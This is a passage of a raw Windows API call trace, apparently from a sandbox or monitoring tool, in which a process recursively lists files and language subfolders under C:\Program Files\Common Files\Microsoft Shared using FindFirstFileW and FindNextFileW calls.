cFileName="GIFIMP32.FLT", cAlternateFileName="")) returned 1 [0077.621] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8a19600, ftCreationTime.dwHighDateTime=0x1caa4ff, ftLastAccessTime.dwLowDateTime=0xeee1cd90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8a19600, ftLastWriteTime.dwHighDateTime=0x1caa4ff, nFileSizeHigh=0x0, nFileSizeLow=0x3ad80, dwReserved0=0x0, dwReserved1=0x0, cFileName="JPEGIM32.FLT", cAlternateFileName="")) returned 1 [0077.621] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x774, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.CGM", cAlternateFileName="")) returned 1 [0077.622] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x3adb, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.EPS", cAlternateFileName="")) returned 1 [0077.622] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x42d, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.GIF", cAlternateFileName="")) returned 1 [0077.622] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x425, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.JPG", cAlternateFileName="")) returned 1 [0077.622] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x692, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.PNG", cAlternateFileName="")) returned 1 [0077.622] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x566, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.WPG", cAlternateFileName="")) returned 1 [0077.622] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8a19600, ftCreationTime.dwHighDateTime=0x1caa4ff, ftLastAccessTime.dwLowDateTime=0xeefe5e10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8a19600, ftLastWriteTime.dwHighDateTime=0x1caa4ff, nFileSizeHigh=0x0, nFileSizeLow=0x11d78, dwReserved0=0x0, dwReserved1=0x0, cFileName="PICTIM32.FLT", cAlternateFileName="")) returned 1 [0077.622] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8a19600, ftCreationTime.dwHighDateTime=0x1caa4ff, ftLastAccessTime.dwLowDateTime=0xeefe5e10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8a19600, ftLastWriteTime.dwHighDateTime=0x1caa4ff, nFileSizeHigh=0x0, nFileSizeLow=0x49f80, dwReserved0=0x0, dwReserved1=0x0, cFileName="PNG32.FLT", cAlternateFileName="")) returned 1 [0077.622] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd53d4900, ftCreationTime.dwHighDateTime=0x1cb7002, ftLastAccessTime.dwLowDateTime=0xc25b4860, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd53d4900, ftLastWriteTime.dwHighDateTime=0x1cb7002, nFileSizeHigh=0x0, nFileSizeLow=0x44780, dwReserved0=0x0, dwReserved1=0x0, cFileName="WPGIMP32.FLT", cAlternateFileName="")) returned 1 [0077.622] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd53d4900, ftCreationTime.dwHighDateTime=0x1cb7002, ftLastAccessTime.dwLowDateTime=0xc25b4860, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd53d4900, ftLastWriteTime.dwHighDateTime=0x1cb7002, nFileSizeHigh=0x0, nFileSizeLow=0x44780, dwReserved0=0x0, dwReserved1=0x0, cFileName="WPGIMP32.FLT", cAlternateFileName="")) returned 0 [0077.622] FindClose (in: hFindFile=0x32551c0 | out: hFindFile=0x32551c0) returned 1 [0077.623] GetProcessHeap () returned 0x470000 [0077.623] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x32590c0 | out: hHeap=0x470000) returned 1 [0077.623] FindNextFileW (in: hFindFile=0x3255180, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x61073d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61073d10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Help", cAlternateFileName="")) returned 1 [0077.623] GetProcessHeap () returned 0x470000 [0077.623] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x32590c0 [0077.624] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\*", lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x61073d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61073d10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32551c0 [0077.624] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x61073d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61073d10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.624] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe777f900, ftCreationTime.dwHighDateTime=0x1c8bc89, ftLastAccessTime.dwLowDateTime=0x60d54030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe777f900, ftLastWriteTime.dwHighDateTime=0x1c8bc89, nFileSizeHigh=0x0, nFileSizeLow=0x133200, dwReserved0=0x0, dwReserved1=0x0, cFileName="hxds.dll", cAlternateFileName="")) returned 1 [0077.624] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3e47200, ftCreationTime.dwHighDateTime=0x1c8bc89, ftLastAccessTime.dwLowDateTime=0x522dc930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe3e47200, ftLastWriteTime.dwHighDateTime=0x1c8bc89, nFileSizeHigh=0x0, nFileSizeLow=0x1bf200, dwReserved0=0x0, dwReserved1=0x0, cFileName="ITIRCL55.DLL", cAlternateFileName="")) returned 1 [0077.624] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe777f900, ftCreationTime.dwHighDateTime=0x1c8bc89, ftLastAccessTime.dwLowDateTime=0x616b36d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe777f900, ftLastWriteTime.dwHighDateTime=0x1c8bc89, nFileSizeHigh=0x0, nFileSizeLow=0x69000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msitss55.dll", cAlternateFileName="")) returned 1 [0077.624] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe777f900, ftCreationTime.dwHighDateTime=0x1c8bc89, ftLastAccessTime.dwLowDateTime=0x616b36d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe777f900, ftLastWriteTime.dwHighDateTime=0x1c8bc89, nFileSizeHigh=0x0, nFileSizeLow=0x69000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msitss55.dll", cAlternateFileName="")) returned 0 [0077.624] FindClose (in: hFindFile=0x32551c0 | out: hFindFile=0x32551c0) returned 1 [0077.624] GetProcessHeap () returned 0x470000 [0077.624] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x32590c0 | out: hHeap=0x470000) returned 1 [0077.624] FindNextFileW (in: hFindFile=0x3255180, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ink", cAlternateFileName="")) returned 1 [0077.624] GetProcessHeap () returned 0x470000 [0077.624] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x32590c0 [0077.624] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*", lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32551c0 [0078.799] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.799] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c2bbccc, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x6c2bbccc, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x90daefa5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc1486, dwReserved0=0x0, dwReserved1=0x0, cFileName="Alphabet.xml", cAlternateFileName="")) returned 1 [0078.799] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ar-SA", cAlternateFileName="")) returned 1 [0078.799] GetProcessHeap () returned 0x470000 [0078.799] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x527ba8 [0078.799] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\*", lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3255280 [0078.799] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.799] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe846a08f, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe86330eb, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe8659248, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0078.799] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe846a08f, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe86330eb, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe8659248, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0078.799] FindClose (in: hFindFile=0x3255280 | out: hFindFile=0x3255280) returned 1 [0078.800] GetProcessHeap () returned 0x470000 [0078.800] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x527ba8 | out: hHeap=0x470000) returned 1 [0078.800] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg-BG", cAlternateFileName="")) returned 1 [0078.800] GetProcessHeap () returned 0x470000 [0078.800] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x527ba8 [0078.800] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\*", lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3255280 [0078.800] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.800] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea1207ac, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xea335ac2, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xea35bc1f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0078.800] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea1207ac, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xea335ac2, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xea35bc1f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0078.800] FindClose (in: hFindFile=0x3255280 | out: hFindFile=0x3255280) returned 1 [0078.800] GetProcessHeap () returned 0x470000 [0078.800] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x527ba8 | out: hHeap=0x470000) returned 1 [0078.800] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90daefa5, ftCreationTime.dwHighDateTime=0x1c9ea0f, ftLastAccessTime.dwLowDateTime=0x90daefa5, ftLastAccessTime.dwHighDateTime=0x1c9ea0f, ftLastWriteTime.dwLowDateTime=0x90daefa5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x69a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Content.xml", cAlternateFileName="")) returned 1 [0078.801] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c92176b, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x6c92176b, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xdd6ec0f0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2f200, dwReserved0=0x0, dwReserved1=0x0, cFileName="ConvertInkStore.exe", cAlternateFileName="")) returned 1 [0078.801] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-CZ", cAlternateFileName="")) returned 1 [0078.801] GetProcessHeap () returned 0x470000 [0078.801] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x527ba8 [0078.801] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\*", lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3255280 [0078.801] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.801] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6ce8929, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe6f23d9c, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe6f23d9c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0078.801] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6ce8929, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe6f23d9c, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe6f23d9c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0078.801] FindClose (in: hFindFile=0x3255280 | out: hFindFile=0x3255280) returned 1 [0078.801] GetProcessHeap () returned 0x470000 [0078.801] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x527ba8 | out: hHeap=0x470000) returned 1 [0078.801] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-DK", cAlternateFileName="")) returned 1 [0078.801] GetProcessHeap () returned 0x470000 [0078.801] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x527ba8 [0078.802] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\*", lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3255280 [0078.802] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.802] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6fbc310, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe71ab4c9, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe71d1626, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) 